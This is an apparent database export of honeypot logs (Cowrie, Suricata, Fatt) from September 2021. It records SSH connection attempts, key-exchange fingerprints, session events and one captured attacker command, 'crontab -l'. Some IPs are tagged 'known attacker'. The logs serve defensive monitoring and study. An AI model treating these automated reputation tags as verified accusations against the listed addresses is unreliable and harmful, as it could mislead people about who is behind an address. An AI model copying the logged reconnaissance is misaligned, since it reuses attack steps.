"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28018	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:48.71793+03	2021-09-20 14:30:02.281523+03	{"_id": "UQbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "28e0283c5861", "@version": "1", "duration": 3.7845101356506348, "timestamp": "2021-09-20T11:15:48.717930Z", "@timestamp": "2021-09-20T11:15:48.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28019	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:15:48.789746+03	2021-09-20 14:30:02.282523+03	{"_id": "UgbrAnwBvYTbRNuEUisl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3bd1d13b4e45", "@version": "1", "timestamp": "2021-09-20T11:15:48.789746Z", "@timestamp": "2021-09-20T11:15:48.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28020	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:15:48.78786+03	2021-09-20 14:30:02.283524+03	{"_id": "UwbrAnwBvYTbRNuEUyv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "flow_id": 1176567323846470, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.787860Z", "@timestamp": "2021-09-20T11:15:48.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28021	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:48.453605+03	2021-09-20 14:30:02.284523+03	{"_id": "WAbrAnwBvYTbRNuEVStC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36152, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.453605", "@timestamp": "2021-09-20T11:15:48.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28022	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:49.095786+03	2021-09-20 14:30:02.287525+03	{"_id": "WQbrAnwBvYTbRNuEVisK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:49.095786Z", "@timestamp": "2021-09-20T11:15:49.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28023	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:50.067001+03	2021-09-20 14:30:02.288524+03	{"_id": "aAbrAnwBvYTbRNuEWSv0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:50.067001Z", "@timestamp": "2021-09-20T11:15:50.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
43805	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:21:03.232139+03	2021-09-20 16:30:03.541747+03	{"_id": "0gZdA3wBvYTbRNuE-5qq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:21:03.232139Z", "@timestamp": "2021-09-20T13:21:03.232Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28024	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:51.040078+03	2021-09-20 14:30:02.289524+03	{"_id": "bQbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "69d85282752f", "@version": "1", "duration": 2.9050233364105225, "timestamp": "2021-09-20T11:15:51.040078Z", "@timestamp": "2021-09-20T11:15:51.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28025	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:51.607053+03	2021-09-20 14:30:02.290524+03	{"_id": "cgbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.17.12", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5704500675201416, "duplicate": true, "timestamp": "2021-09-20T11:15:51.607053Z", "@timestamp": "2021-09-20T11:15:51.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28026	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:52.026042+03	2021-09-20 14:30:02.292523+03	{"_id": "dAbrAnwBvYTbRNuEYSvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:52.026042Z", "@timestamp": "2021-09-20T11:15:52.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28027	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:59.956616+03	2021-09-20 14:30:02.293524+03	{"_id": "8gbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c13b2449c12d", "@version": "1", "duration": 3.268691062927246, "timestamp": "2021-09-20T11:15:59.956616Z", "@timestamp": "2021-09-20T11:15:59.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28028	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:00.43261+03	2021-09-20 14:30:02.294523+03	{"_id": "8wbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.17.12", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5651929378509521, "duplicate": true, "timestamp": "2021-09-20T11:16:00.432610Z", "@timestamp": "2021-09-20T11:16:00.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28029	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:00.530007+03	2021-09-20 14:30:02.295524+03	{"_id": "9AbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "9316f4dcf3e4", "@version": "1", "duration": 4.365652322769165, "timestamp": "2021-09-20T11:16:00.530007Z", "@timestamp": "2021-09-20T11:16:00.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28030	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:00.938967+03	2021-09-20 14:30:02.296524+03	{"_id": "9wbrAnwBvYTbRNuEgivh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2183623338944612, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39434, "dest_port": 22, "timestamp": "2021-09-20T11:16:00.938967Z", "@timestamp": "2021-09-20T11:16:00.938Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28031	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:00.981023+03	2021-09-20 14:30:02.298523+03	{"_id": "-AbrAnwBvYTbRNuEhCsq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39434, "dest_port": 22, "timestamp": "2021-09-20T11:16:00.981023", "@timestamp": "2021-09-20T11:16:00.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
